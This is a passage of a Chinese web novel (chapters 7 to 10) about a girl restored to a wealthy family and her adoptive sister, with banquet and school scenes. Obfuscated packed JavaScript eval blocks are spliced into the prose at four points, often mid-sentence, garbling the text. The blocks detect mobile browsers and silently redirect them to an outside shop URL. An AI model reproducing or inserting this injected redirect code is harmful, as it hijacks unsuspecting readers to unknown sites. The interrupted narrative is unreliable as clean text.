许南星看着管家的审讯画面,生硬的滚了下喉咙。 求生欲催着她抬起头,朝许清影搬出一副“我是无辜的”眼神。 “姐姐,是她们栽赃我,我都不认识她们。” “我知道。” 或许许南星的眼神的确可怜,或许许清影真的从一开始就相信她。 许清影的这三个字说的很轻也很平静,却奇怪的盖住了视频里的声音,清澈干脆的弹在许南星的心上。 “这两个人在你来之前就已经做事不上心了。” 灯光下,许清影看向许南星的眼神并没有许南星想象中的刺眼。 甚至没有波动。 “宿管家,她顶着小姐的身份过了十七年的痛快日子,我们也该替小姐让她付出些代价了!” “小姐不容易回家,难道您要让小姐看着许清影不仅占了她的父母亲情,还占了她应有的东西吗?小姐才是夫人的亲生骨肉啊……” 视频还在继续,佣人用尽狡辩的话术,试图扭曲事实。 那避免不了的血缘关系被一次次提起,许南星一边给许清影的脚上药,一边偷觑她,试图观察出她的情绪。 可许清影从始至终对佣人的狡辩都没有产生任何情绪起伏。 她不难过,也没有生气,表情一如既往的平静。 许南星觉得她该松口气,可是当她看到许清影这样,心里却越发的堵。 许清影真的不难过吗? 这两个佣人之前做事就已经不上心是什么意思? 是在她回家之前,许清影就已经经历过类似的事情了吗? 抱错这件事本身不是许清影的错,为什么要发泄在许清影的身上。 她也不要有人用这样的方式替她讨要报复。 “开除,永不录用!” 在听到管家严词呵斥,让这两个佣人闭嘴,等待处理结果后,许南星噌得站了起来,愤怒值拉到顶点。 “我们知道错了,你替我们跟太太和小姐说说情吧,求您了。” “宿姐咱们两个是同乡啊,我求求你看在我妈的份上,别这样。” …… 视频里的求饶来的正是时候,两个佣人像听到许南星的宣判一样,扑到管家面前,一个劲的道歉求饶,完全没了早上破坏许清影菜地时趾高气昂的样子。 可就是在这样看似解恨的哀求声中,许清影淡声点评:“没想到你还挺仁慈。” 许南星愣了一下。 她这算仁慈吗? 她都把她们开除赶出去了,还是仁慈? 那还能怎么样,找杀手杀掉她们吗? 违法犯罪可做不得啊! 许南星惊恐的看向许清影,她突然有点痛恨自己过去看了太多无脑小说了。 但她又害怕她所在的这本小说,也是这样无脑爽:“这样……还不够吗?” “一般来说这样的佣人主家肯定是不会再用的,每个行业都有他们的黑名单,而服务业尤其重视口碑。” 许清影的话没说到底,许南星却一点就透—— “我同意把他们拉入行业黑名单!” 许南星从善如流。 她就说嘛,许清影不是这样的人。 视线里许南星的手高高举起,眼睛里除了坚定还填满了庆幸。 许清影有些无奈,真不知道刚刚许南星把自己想成什么人了,但也跟着许南星弯了下眼:“我听你的。” 听她的? 干什么要听她呢? 她不要点什么吗? 比如对方的道歉?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971355|193454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>许南星看着许清影看向自己的眼神,觉得哪里怪怪的。 为什么要引导着她对这件事做出决定呢? 明明这件事的受害者不是她。 可这只是许南星认识许清影的第二天,让她猜测许清影的想法,她觉得她做不到。 她能不被她再扣分就很好了。 手指蘸取的药膏快要融化,有一抹苦涩晕染开来。 许南星低头看了眼许清影的脚腕,给她将最后的药膏揉开:“许清影,你为什么不告诉妈妈你受伤了?” “很严重吗?”许清影问。 “没什么大事,涂两天药膏就好了。”许南星判断道。 听到这句话,许清影无声的看向许南星,好像在说这就是她的答案。 这不跟自己昨天的答案差不多嘛。 许南星暗暗在心里吐槽,心情复杂。 如果说昨天她不想说,是觉得没必要。 那许清影的理由是什么呢? 会不会是觉得自己假千金的身份尴尬,不想看佣人冷眼。 她也有她的骄傲。 【宿主,系统觉得这是个展现姐妹情,刷许清影好感的好机会呦~】系统的声音幽幽响起。 许南星十分认可。 无论是为了她的积分,也为了因为她才受伤的许清影。 “既然这样,接下来几天就让我来按时给姐姐涂药吧。” 许南星不是个好演员,表演痕迹有点重。 许清影出于下意识,想收自己的脚:“不用……” 可就像是许南星的手逃不开她的手,她的脚也逃不过许南星的手:“姐姐,你也不想你受伤的事情让妈妈知道吧?” 少女的狡黠从声音蔓延到眼睛,一个问号就拉近了许南星和许清影之间的距离。 许清影静静的注视着面前这个抱着自己脚的人,明明刚才还正义感十足,此刻却抱着别人的弱点,诡诈的笑起来。 许清影轻吸了一口气,在沾满药膏苦涩的空气中投降:“以后就麻烦你了。” “不麻烦。”许南星哪里觉得麻烦,她乐意得很。 “那我去告诉妈妈咱们的商量结果,明天这个时候再来找你!”许南星说话间就抱起平板,开心的朝许清影挥挥手,说走就走了。 这次快要关上门的没有冒出一颗小脑袋,许南星的步伐轻快又恣意。 许清影坐在床边望着那道背影,觉得许南星的确不适合穿高跟鞋。 那会成为她的镣铐。 只可惜她已经习惯了高跟鞋。 许清影低头看了看自己的脚。 不知怎么的,她罕见的期待起了明天。 . 佣人的事许佩宁处理的很快,第二天许清影就没有见到这两个人。 日子好像回到了过去,菜园被人每天好好维护着。 只是夜晚来临,许清影的卧室就会偷偷探进一颗小脑袋,许南星履行着她的诺言,背着许佩宁和周安偷偷过来给她上药。 “姐姐,你的脚今天看起来好多了。” “这个药膏我闻过了,比昨天那支好闻,还没有太大药味,我们换这支吧。” “今天管家教我参加宴会的规矩了,好难学。” “但是你放心,为了妈妈爸爸,当然还有姐姐,我会好好学的!” …… 灯具在寂静的夜里点燃起一盏橘黄的光,小姑娘的眼睛也跟着一闪一闪的。 许南星的话很多,叽叽喳喳的围在许清影耳边,就像她包裹住她脚踝的手。 许清影不知道她有没有觉得这滔滔不绝的声音聒噪,只是她这样的日子她想多留几天。 可这次的伤实在太轻,没过两天她的脚伤就好了,现实情况也由不得她假装拖延—— 这月的最后一个周末,她将踩着高跟鞋,和许南星一起走入庆祝她回到这个家的宴会。 “许小姐这身形谈吐一看就是佩宁的孩子。” “我看眉眼间和老夫人更像呢!” …… 周围恭维此起彼伏,总有人过来跟许南星寒暄套近乎。 许清影知道从今天开始,这些恭维很多都不会给她了。 酒杯碰撞的声音中,许清影看着许南星不断被宾客裹挟,离她远去。 周围浮光掠影,许清影站在原地,好像在看那不属于她的命运…… “呦,这不是许大小姐吗?” 许清影还在望着许南星的身影,下一秒讥诮声就挡住了她的视线。 那人抱臂,巨大的烧边裙摆像一朵燃烧过得枯粉玫瑰,挤得许清影快没有了站的位置:“不好意思我忘了,你现在已经不是许家的孩子了。人家正牌回来了,你这个鸠占鹊巢的人怎么还有脸站在这里啊。” 8. 第八章 夜幕如一张网,笼住宴会间的浮华。 觥筹交错间,尽是宾客们游刃有余的寒暄。 恭维的话不断被翻出花来,许南星算是见识到了什么叫做语言的艺术。 她手里捏着个窄窄的高脚杯,发酵过的果汁微微有点酒香,却与真正的酒水格格不入。 许南星的恣意和自由被收窄的裙摆牢牢束缚,现在只觉得无聊。 “小白。” 【我在!】 许南星召唤系统,小球兴高采烈的出现在了它的宿主面前。 这人没什么起名天赋,好在她的系统也不是个挑剔的系统。 一人一统就这样对这个名字一拍即合。 “好无聊,你给汇报一下我这周的得分情况吧。”许南星提议。 【好的,宿主。】小白开始调取资料。 【本周宿主的生存值呈现稳步增长状态,没有减分情况发生。】 【家人羁绊获取积分:0.8】 【友人羁绊获取积分:0.4】 【共计:1.2,加上上周的0.2,宿主目前一共获得1.4分!生命值6.4!】 汇报结尾,小白还小小的给许南星放了一个庆祝烟花,庆祝她生命值终于有了进步。 许南星看着这个“6.4”只觉得心情苦涩—— 她忙活了小半个月,只是比起点稍微高了那么一丢丢,甚至四舍五入都是零! “我本来应该是7.4。”许南星幽怨,“你说我那天晚上到底怎么得罪许清影了?” 【宿主,你这样的想法很危险,很容易被剧情之手捕捉到的!】小白整个球都警惕起来。 它劝慰许南星:【宿主,万事向看,能吸取教训就吸取,不能也没关系,纠结在一个点很容易钻牛角尖。】 许南星瞬间憋屈的像个瘪了的皮球。 她委屈巴巴的看了小球一眼,接着就目光坚决起来:“那我决定了!” “我以后再也不跟许清影说晚安了!” 小白还以为它的宿主做了什么大决定,听到许南星这么说,简直是松了口气。 它的宿主还真是个幼稚鬼。 小白偷偷在心里想着,险些笑出声。 却不想,紧接着它就被许南星一把抓了过去。 【宿……主。】小白还以为自己在偷偷调侃许南星被发现了,一脸心虚样。 可许南星却全然没注意到这一点,她正盯着不远处的自助长桌,对小白说:“你帮我看看,许清影是不是在和她旁边那个人聊天?那是她朋友吗?我怎么没见过这个人?” 小白闻言立刻切换工作模式,半秒后期待的看着许南星:【鉴于宿主生命值超过6分,小白可以为宿主提供实况转播功能,宿主要不要试试?】 干了这么久,许南星终于感受到努力赚积分的好处,毫不犹豫:“要!” 【小白遵命。】小白接到指令,圆溜溜的身体立刻拉长扩宽,变成了张悬浮在半空中的屏幕。 这种感觉好神奇,刚刚还人来人往的宴会霎时间就被按下了模糊键,只剩下许清影映在许南星的眼前,清晰的连脸上细小的绒毛都看得一清二楚。 她细长的睫毛卷曲而浓密,眼尾微微下垂着,好像给她的眼睛遮下了一层帘子,让人看上去有种漫不经心的感觉。 所以许南星现在又感觉许清影对面那个人不像是朋友。 “许清影对面这个人谁啊?”许南星皱眉。 【霍宝珠,Omega,是霍家的小女儿,她们家是做珠宝的,她脖子上那颗钻石是她们家新开发的珠宝系列,超级抢手。】小白一边为许南星介绍人物,一边调试自己。 【不好意思宿主,刚刚声音没有调出来,现在可以了。】 “干什么,这么久没见了,也不打个招呼?” 小白的话音刚落下,屏幕里就传来霍宝珠的声音。 这人趾高气昂的,下巴昂的高高的,眼睛都快长到头上了。 “许清影,你是不是还不清楚现状啊,现在可没有人上赶着来热脸贴你冷屁股了,你这样不冷不热的,可没人买你的账了。” 许南星听着这话只想翻白眼,屏幕那边幽幽的传来了许清影的声音:“这不还是有人上赶着来了吗?” 说着许清影就抬起了眼睛,薄薄的眼皮下是冰川般的冷寂。 她就这样静静的注视着霍宝珠,好像在对她的话进行标注。 “有人”霍宝珠愣了两秒,才反应过来许清影的意思,眼神登时就变了:“你少给自己脸上贴金了!” “我是来找你吗?我是来看看,你这个假千金是怎么登高跌重的。” 这么说着,许南星就感觉镜头朝她转了过来。 霍宝珠转过身看向许南星的方向,看向整个宴会厅人气最旺盛的地方:“看到了吗?被众星捧月的现在是人家许南星,不是你许清影了。” “哎呀,我可不可以采访你一下,当你知道自己是假货的时候,是什么心情?当小偷,偷别人的人生,是不是很爽?不用担心自己会分化成Alpha还是Omega,衣食无忧一辈子。” 霍宝珠越说离得许清影越近,整张脸写满了幸灾乐祸,几乎就要凑到许清影脸上去。 许清影的表情没有因为这些话变过分好,只是在霍宝珠走过来的事后,嫌弃似的后撤了一步。 她离霍宝珠离的远远的,不让这个Omega身上的气味侵染自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971356|193454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半分,即使现在她还闻不到。 霍宝珠见状,不依不饶上了:“你现在会不会怀念自己做小偷的日子呀?许家家大业大,但从今以后都不是你的了,你是不是很眼馋?晚上会不会偷偷藏在被子里哭呀。” 她越说越夸张,声音里的讥诮掩盖都掩盖不住。 霍宝珠早就看许清影不顺眼了。 凭什么她能高高在上,所有人都去恭维她。 凭什么她能什么都做的出色,所有人都拿她跟自己比。 什么珠玉琳琅,什么才华横溢,不过是个赝品罢了。 而赝品就该被她踩在脚下! 霍宝珠现在就期待看到许清影被她激怒,却又无可奈何的样子。 毕竟许清影现在没有靠山了,而她可是霍家的掌上明珠。 她能拿自己怎么样? 她敢拿自己怎么样? 过去那么神气,现在连个屁都不敢放。 许清影,你也不过…… “霍小姐怎么对这种事情这么熟悉。” 霍宝珠就快要通过脑补获得胜利了,许清影却不紧不慢的开了口。 她将手里的酒杯慢慢悠悠的碾在手里,态度玩味:“是不是霍小姐之前躲在被子里偷偷哭的时候,也这么想过?” 这一句话精准踩中霍宝珠的尾巴,她顿时暴跳:“许清影,你给住口!” 许清影轻轻挑眉:“所以我猜对了?上次宴会结束,你的确回家躲在被子里哭了。” “我没有!你才该回去躲在被子里哭呢!”霍宝珠嘴硬,“你等着吧,你分化后许阿姨就会把你赶出家门的!这样的好日子你到头了,许清影!” “好日子?”许清影从霍宝珠的话里摘出了最有利于自己的字眼,垂着的眼尾微微扬起,“我还不知道原来过惯了锦衣玉食生活的霍小姐也会夸赞我在许家的生活。” “所以霍小姐今天是因为自己做不了许家的女儿,在嫉妒我?” “许清影!” 霍宝珠的情绪被许清影推到了顶点,向来嚣张跋扈的她哪里经历这样的屈辱,扬起手来就要朝许清影挥去。 却不想一声尖叫打断了霍宝珠的动作。 “啊!霍小姐的裙子。” “是不是着火了!” …… 在周围的惊慌声中,霍宝珠看向自己的裙摆。 不知道是不是她的错觉,此刻正有红光正悄然照在她的裙摆上,好似东西在燃烧。 许清影不禁也愣了一下,接着就在混乱中听到一道熟悉声音:“许清影,闪开!” 就见许南星拨开人群,利落的拿起镇酒的冰桶,直直的泼向霍宝珠的烧边玫瑰裙。 和霍宝珠。 9. 第九章 关于自己是怎么从一片混乱中分辨出这是许南星的声音,许清影自己也不是很清楚。 可能她也没意识到这个人就是许南星,她只觉得自己应该是信任这道声音的主人的,所以在听到她让自己闪开的时候,她就闪开了。 水混合着冰块泼出来,跳跃在半空中的粼光好像写着自由。 许南星的动作干脆极了,这一大桶水在场的成年人都不一定泼的这么均匀,她就能完完全全把这些水都锁在霍宝珠的身上。 霍宝珠猝不及防,被水里的冰块砸得吱哇乱叫。 可能也不排除这用来镇酒的水有点太过冰凉。 “啊!你干什么啊!” 尖锐的惨叫从地上拔起,霍宝珠满身狼狈的坐在地上。 烧边裙摆湿漉漉的摊在水里,神气不再,就像秋天花坛里蔫了的花。 “你——” “宝珠,你裙摆刚刚烧起来了,许二小姐是在帮你灭火。” 许南星刚要解释,霍宝珠的妈妈就走过来打断了女儿蛮横的叫嚣。 霍宝珠怒目,低头就看着自己的烧边礼裙,好像还真有哪个地方被烧了一个很小的角,空气中似乎还飘着淡淡的烧焦味。 “佩宁啊,多亏了你家孩子了。”霍宝珠爸爸在旁边给许佩宁赔笑,“真是我教女无方,日后一定去登门赔礼。” “一点小插曲无伤大雅,孩子没事就行。”许佩宁笑着摇摇头,尽显主人宽容。 可主人越是宽容,客人越不会松口气。 霍宝珠爸爸脸一拉,教训的态度做满:“今早就跟你说了,穿什么裙子不好,穿这样的裙子,现在好了。快跟许二小姐道谢。” 霍宝珠本来就心里委屈,湿哒哒的坐在地上还想让妈妈爸爸来安慰她。 要她跟这个乡下来的土包子说谢谢,真是每个字都说的屈辱:“谢谢。” “举手之劳。”许南星还抱着她怀里的铁桶,朝霍宝珠笑得人畜无害的。 “还得是许二小姐啊,反应真快。” “反应快还得心地善良,敢冒这么大危险。” …… 小插曲的结尾,周围人都是夸奖许南星的声音。 许南星依旧保持着她的微笑,像不知道霍宝珠差点打了许清影似的,接着就善良的伸手要拉霍宝珠起来。 “我拉你吧。” 霍宝珠看着面前这双并不白净又长着茧子的手,要多嫌弃就有多嫌弃。 只是转念一想,她又觉得能让许家找回来的女儿拉自己,她脸上也有面子。 毕竟抛去自己裙子被烧这件糟糕事,许南星还救了她。 当初许清影不想跟她当朋友,现在她借这个机会可以跟许南星当朋友。 许清影刚刚说的话之所这样戳霍宝珠肺管子,不过是因为说了真话罢了。 “谢谢。”霍宝珠伸手,还有种洋洋得意。 却不想许南星拉她的动作很用力,不等她做准备就把她从地上拉了起来。 她的裙摆湿漉漉地瘪着,很容易就让许南星凑她凑得很近—— “霍小姐,你敢再欺负我姐姐试试。” 许南星唇瓣轻拨,压低了的声音在霍宝珠耳边掀起一阵风暴。 那无形的压迫感让霍宝珠整个人僵在了原地,从被许南星握住的手指传来一阵恶寒。 过了两秒才缓过神来霍宝珠,恍然:“是你!” “什么是我?”许南星却一改刚刚压迫感极强的模样,无辜的眨了眨自己的眼睛。 “霍小姐,你身上的都湿透了,还是快去把衣服换下来吧。桶里都是冰水,生病就不好了。”说着,许南星就松开了她对霍宝珠伸去的“友善”的手。 明明许南星的叙述平平无奇,霍宝珠却又感觉到冰块砸到她身上的感觉。 她打着寒战看看周围,接着又看看裙摆,愤怒中充满了无能,就这样盯着一脸无辜的许南星,根本想不明白许南星怎么做到的。 难道……她想错了? 不可能! 之前她还以为只有许清影是这样当面一套背地一套的人。 现在看这个从农村来的草包许南星也是这样的人。 真是不是一家人不进一家门。 许家人都这样,阴得很! 她一定要找到证据,她不能白被许南星泼水! 走廊里回荡着高跟鞋敲击地面的声音,一声高似一声。 霍宝珠气冲冲的拎着湿漉漉的裙摆往监控室走。 刚刚发生的事她越想气越不打一处来。她想既然许南星做了就一定有证据,宴会厅里都有监控,她就不信,她调出监控来还能锤不死许南星! “霍小姐。” 就在霍宝珠打算做孤胆英雄的的时候,许清影出现在了路口。 霍宝珠看到这个人,更是生气。 只是她现在还有更重要的事情去做,不想在许清影这里浪费时间。 等着吧,待会她拿到监控,就新账旧账跟你们姐俩一起算! 霍宝珠睨了许清影一眼,接着就挺胸抬头,像只要去打仗的鹌鹑。 许清影眼神随着路过她的霍宝珠转移,不紧不慢的开口:“霍小姐是要去调监控吧。” “是不是需要我提醒一下霍小姐,你的裙摆燃烧和你想伸手打我应该几乎是同一时间发生的。霍小姐调监控的行为如果惊动了长辈们,那么你手扬起来要打我的动作被长辈们看到,你应该清楚后果。” 许清影话音落下,霍宝珠登时停住了脚步。 她愤愤转头,盯着许清影。 就见许清影神色平淡的也看着她。 那颗水银色的瞳子倒映着走廊复杂的光源,深不见底。 霍宝珠知道,只要她去查看监控,许清影刚刚话里的“如果”就一定会成真。 经历了刚刚的事情,霍宝珠也无法保证,许家父母会不会偏袒许清影。 毕竟找回来许南星被介绍称作许二小姐。 至于许大小姐是谁,答案显而易见。 “你和你妹妹给我等着,开学后我有的是时间。”霍宝珠咬牙切齿,这件事她理亏,什么也报复不回去。 许清影不语,轻蔑的看了霍宝珠一眼,转身离开了。 . “还得说科技改变生活,来点红光,来点烧焦的味道,就能幻视着火。” 【还是宿主聪明,知道利用霍宝珠裙摆烧边的造型制造幻觉。】 小插曲没有搅乱整场宴会,霍宝珠离开后大家还是该聊天聊天。 许南星站在一处人少休息,和小白互相吹捧起来。 “谁叫她要欺负许清影的,就别怪我泼她冷水了。”许南星义愤填膺。 天晓得刚才她听到霍宝珠对许清影说的那番话有多气。 甚至她跑过去想替许清影撑场子的时候,霍宝珠还想动手打许清影。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971357|193454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 【宿主你知不知道,你保护许清影,许清影刚刚也保护了宿主哦!】 【刚刚霍宝珠想去查监控,许清影把她吓退了。】小白偷偷凑到许南星耳边,高兴地告诉她这个好消息。 “你怎么知道的?”许南星又欣喜又诧异。 【因为事情就发生在宴会厅外面的走廊,在空间贯通且距离不远的情况下,小白畅行无阻。】小球骄傲的挺起胸膛。 许南星奖励似的揉揉小球,表示:“那我得好好谢谢许清影呀。” 从走廊回到宴会厅,浮华又一次霸占了许清影的视线。 她站在门口面无表情的望着这个世界,目光渐渐深邃。 直到一颗星星般的光亮跳着走进她的视线。 也不知道谁给了她这么开心地心情,叫她一把就挎住了自己:“姐姐,走我带你去个地方吃好吃的!” 许清影猝不及防,平静的脸上罕见的露出茫然,脚步也下意识的随着许南星的步伐往前走。 盛夏的热意一浪接一浪的袭来,蝉鸣叫嚣。 许清影的手臂毫无介质的贴紧着许南星的手臂,热意在交换。 裙摆不再是束缚她们步伐的诅咒,丛丛绿意中轻盈的绸子在飞舞。 许清影被许南星带着越跑越快,热风会带着许南星的吐息刮过她的脸,直到一片杜鹃花丛的阴影将她笼罩。 “跑起来,是不是比在宴会上傻站着开心很多?”许南星喘着,笑着,起不定的声音充满了活力。 许清影不可否认。 她的确喜欢刚刚跑起来的感觉。 “这些有钱人也挺会给自己找罪受,宴会上连把椅子都没有,我腿都酸了。”许南星锤着自己的腿,挨着块石头就坐下了。 “这个地方不会有人跑来。而且我刚刚也跟妈妈说了,她不会因为找不到我们担心。” 这么说着,许南星就神神秘秘的从花丛下拿出了她从宴会自助上精挑细选的好吃的:“我看你好像一直都没怎么吃东西,快尝尝,这都是我觉得好吃才拿过来的。” 许清影看着许南星手里所谓的好吃的,视线在它们跟后景许南星的脸上游走。 刚刚的奔跑让她服帖的头发有些松散,几缕碎发从她的脸侧垂下,恣意自由。 许清影过去怎么也不会想到现在会和这样的人坐在一起,放肆奔跑。 许南星的到来不仅仅是让她的身份回归正位,也好像一拳打破了她枯燥无味的宁静生活。 许清影拿起了许南星递来的点心,意味不明的跟她道了一声:“谢谢。” 许南星看着许清影吃了一口她拿来的点心,满是星星眼:“好吃吗?” 被精心养护着开足了好多个月花簌簌抖动,抖下一片滚烫香气。 许清影拿着点心的手仿佛被灼了一下,她低头一看却也只是许南星的影子落在了她的手上。 杜鹃叶的影子压得许清影目光深沉,她看着许南星的眼睛看了好几秒,好像将里面的期待数清楚了,才点的头:“好吃。” 其实这些东西许清影过去吃过很多次,早就厌倦了。 但这次她品尝出了不一样的味道。 细腻的奶柔沿着许清影的唇间融化开,她忽然想起一本书里的话—— “让我们躲到杜鹃花丛下,不要让命运找到。”[1] 可许清影和许南星谁都没注意到,有两双眼睛早就从人群里盯上了她们。 10. 第十章 九月,热意不减。 蝉挂在树上,震颤着翅膀,一声一声的叫嚣着。 打了两遍铃,教学楼里几乎没有了在走廊玩闹的学生。 阳光穿过玻璃洒进来,一道无聊的影子靠在墙上,左右张望。 今天是开学的日子,很难不会忙中出错。 许南星的班主任刚刚接了个电话,好像碰到了什么突发情况。 许南星让她先去处理,自己先去班外面等她就行。 可这一等,就过去了好久。 许南星百无聊赖,紧张也渐渐在这种安静下冒头。 这里的学校跟许南星过去在镇上读的高中好太多,不同高度的红砖教学楼一幢接一幢的屹立在层层绿意下,许南星完全想象不出来这么多些楼都是用来做什么的。 学校里的学生穿的也不是许南星见惯了的那种宽宽大大的运动校服,光是西装套组她就有三套,还有不同季节的运动服。 许南星靠墙站着,不自在地扯了扯她的裙摆。 她不理解,校服为什么要做裙子,爬树翻墙一点都不方便。 【宿主,校服本来就不是让学生逃课方便的。】小白幽幽的从许南星脑袋里冒出来。 许南星理亏,睨了小白一眼,默默转过头去,透过玻璃窗朝教室里看去。 教室外有棵树,绿意攘攘地簇拥着二楼的窗户。 风一吹过来拨着它的影子粼粼发光,不偏不倚的落在许清影的脸上。 她安静,沉默,光点跳跃在她的脸颊上,白中透粉。 明明都是一样的校服,偏偏穿在许清影身上效果出众。 明明她个子不算特别高挑,位置也在后排的犄角旮旯,可在教室里就是能让人一眼看到她。 “这就是主角光环吗?”许南星歪头,默默在心里感慨。 “吱呀——” 还不等小白澄清,一道刺耳的椅子拖动声划过许南星的耳廓。 她眉头皱起,看着许清影的同桌没好气地跟她说:“喂,让让,我要出去。” 许清影闻言连个眼神多余的眼神都没给,面无表情的起身,给她让开了路。 许清影做的毫无迟疑,反而显得女生小题大做。 她愣了一下,接着顺势嘲讽:“算你识趣儿,也不是许家的亲生孩子了,以后啊就老老实实夹好尾巴做人吧。” 这么说着,这个女生还要过去拍许清影的肩膀。 许清影后撤一步,眉眼稍变,轻闭的嘴唇打开了一条缝。 可不知怎么的又闭上了。 她寂寥的瞳子似有若无的蹭过对面的窗户,蹭在那个偷偷往里看的眼睛中。 女生还以为自己占了上风,悬着的手还是落在了许清影肩上,满是一副胜利样子:“这就对了,与其跟我们对着来,还不如好好想想自己为什么还没有分化,不要有什么病吧。” “好了娜娜,快过来坐吧。”霍宝珠声音响起。 她坐在教室最好的中间位置,跟娜娜招手示意:“之前就让你跟我一起坐,你不听,还以为跟人家大学霸坐一起能提升成绩。结果呢,人家心气儿高,哪里搭理你啊。” “我可长教训了。”娜娜朝许清影冷哼一声,头也不回的直奔霍宝珠。 “这俩人嘴巴好坏啊。”许南星眉头紧皱,她被刚刚许清影那个眼神搅得心里很不是滋味。 “许清影不是爽文主角吗,怎么没人帮她呢?她的光环呢?” 【许清影的光环目前有点弱。】小白坦白,【大概是因为她成了假千金,很多人都还处于观望状态,没有站边。】 【如果许家留下许清影只是面子工程,那他们没必要冒着得罪霍家的风险,维护许清影。】 “这么势利啊。”许南星咋舌。 【这就是残酷的上流社会。】小白摇头叹息。 “哎。” “不好意思,让你等久了吧,南星。” 许南星刚跟着小白一起叹气,班主任吴钰就小跑着过来了。 她过来的时候,就看到许南星叹气,还以为是自己来晚了,让她不开心了。 “没有的事,老师要不要先歇一下。”许南星注意到吴钰穿着高跟鞋,跑过来整个人都在喘。 “老师没事,我们进去吧。”吴钰欣慰的拍拍许南星的肩膀,她稍微歇了口气,便示意许南星跟自己进班。 原本安静的班级因为许南星的出现有了许多动静。 许南星跟着吴钰走上讲台,就看到台下齐刷刷二十多双眼睛看着她。 这个班里的同学比她过去班里的同学少了一半还多,可陌生带来的压迫感却陡然飙升。 “高三开学第一天,咱们班来了一位新同学,南星跟大家介绍一下自己吧。”吴钰简单开场,将接下来的时间交给许南星。 许南星稍微有些局促,但很快就调整好心态,自我介绍:“大家好,我叫许南星,今后一年会和大家一起学习、高考,请大家多多指教。” “许同学,虽然我们这里有些人是不用高考的,但我们一定会陪你到高考毕业那天的。”娜娜接过许南星的话茬,茶里茶气的对许南星说。而霍宝珠坐在她旁边,笑的得意。 是啊,这个学校高考不是上大学唯一途径。 甚至读书都不是他们改变命运的唯一阶梯。 这样的现实让许南星从小接受的教育受到了不小的冲击。 可她有的傲气,看着教室里审时度势的少爷小姐们,下巴微微扬起:“好啊,既然娜娜这么表示了,我也不推辞了,高考那天大家可一定要和娜娜一起来送我进考场。” 这么一句话登时就把娜娜架住了。 教室里暗暗投来的视线一道接一道,纷纷不满她刚刚代表全班的发言。 “距离高考还有二百多天,无论大家是保送、参加高考、还是出国,我们都还是先努力备考吧。”吴钰笑着出来缓和气氛。 她才工作一年,在这些有权有势的小姐少爷面前是一点威严都没有,只能和稀泥:“南星自我介绍完了吗?要不要再跟大家分享一下你喜欢什么,或者有什么才艺吗?咱们学校还有不少社团呢。” “吉他。”许南星背着手,很有自信的说出自己擅长的事情。 “哇,吉他哎,好久没听到这个东西,还有些怀念呢。”霍宝珠前面的女生开腔。 接着她的同桌跟上:“开学第一天要不就以许同学的吉他演奏当做开场曲吧,我想肯定让人高三这一年都忘不了。” 而霍宝珠就看着她的小团体在台下起哄,全然没有了宴会上那副狼狈吃瘪的样子,整个人嚣张又得意。 许南星觉得莫名其妙的,只是吉他而已,有什么好阴阳怪气的。 不就是不够入她们上流社会的眼嘛,许南星可没觉得这有什么上不了台面的。 要是自己现在有一把吉他,一定弹得让她们闭嘴—— “电吉他可以吗?” 就在许南星腹诽的时候,讲台下响起一道声音。 许南星猛地抬起头来,就看到许清影正表情平静的望着自己。 她好像这样看了自己很久,日光落在她水银一样的眼睛里,明亮深邃。 许南星不知道许清影这样的眼神是什么意思,只是当她看到她时,她的心是静的。 就好像在这个对她充满敌意轻蔑的陌生世界,抓到了她的同盟。 可明明故事的结局是她们姐妹反目成仇。 真的好奇怪。 可奇怪的事情又不只有这一件。 许南星是先看到许清影,再注意到坐在她背后的那位声音的主人的。 女生把她的吉他从琴包里拿出来,一把精致到发亮的电吉他陡然出现在许南星的视线。 许南星眼睛都亮了,迫不及待的走过去迎那位女生:“谢了。” “客气。”女生笑笑帮许南星接上音响,整个人从动作到表情都是酷的。 许南星甚至有种错觉,觉得她弹得不应该是电吉他,应该是贝斯。 “许同学要唱什么呀。” “是啊,我们好期待呢。” “可不要是我们没听过的老歌。” …… 以霍宝珠为中心的小团体还在持续输出,许南星的心因为某人没有再被这些人影响一丝一毫。 她抱着许清影后座送上的吉他试了下手感,在确定自己可以驾驭这把昂贵的电吉他后,缓缓开口:“放心,保证让你难忘。” “你……” “铮——” 许南星眉眼挑起的狂妄让霍宝珠的前排很是恼火,只是她还没开口就被电吉他的扫弦打断了。 起先没人觉得一把吉他能创造出多令人难忘的音乐,甚至班上不少同学都觉得它已经被踢出局很久了。 毕竟大众躁动不如典雅小众似乎是当代上流社会的共识。 而在古典音乐面前,流行乐—— “When I was young and stupid my love,Left to be a rock and roll star.(在我年轻又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 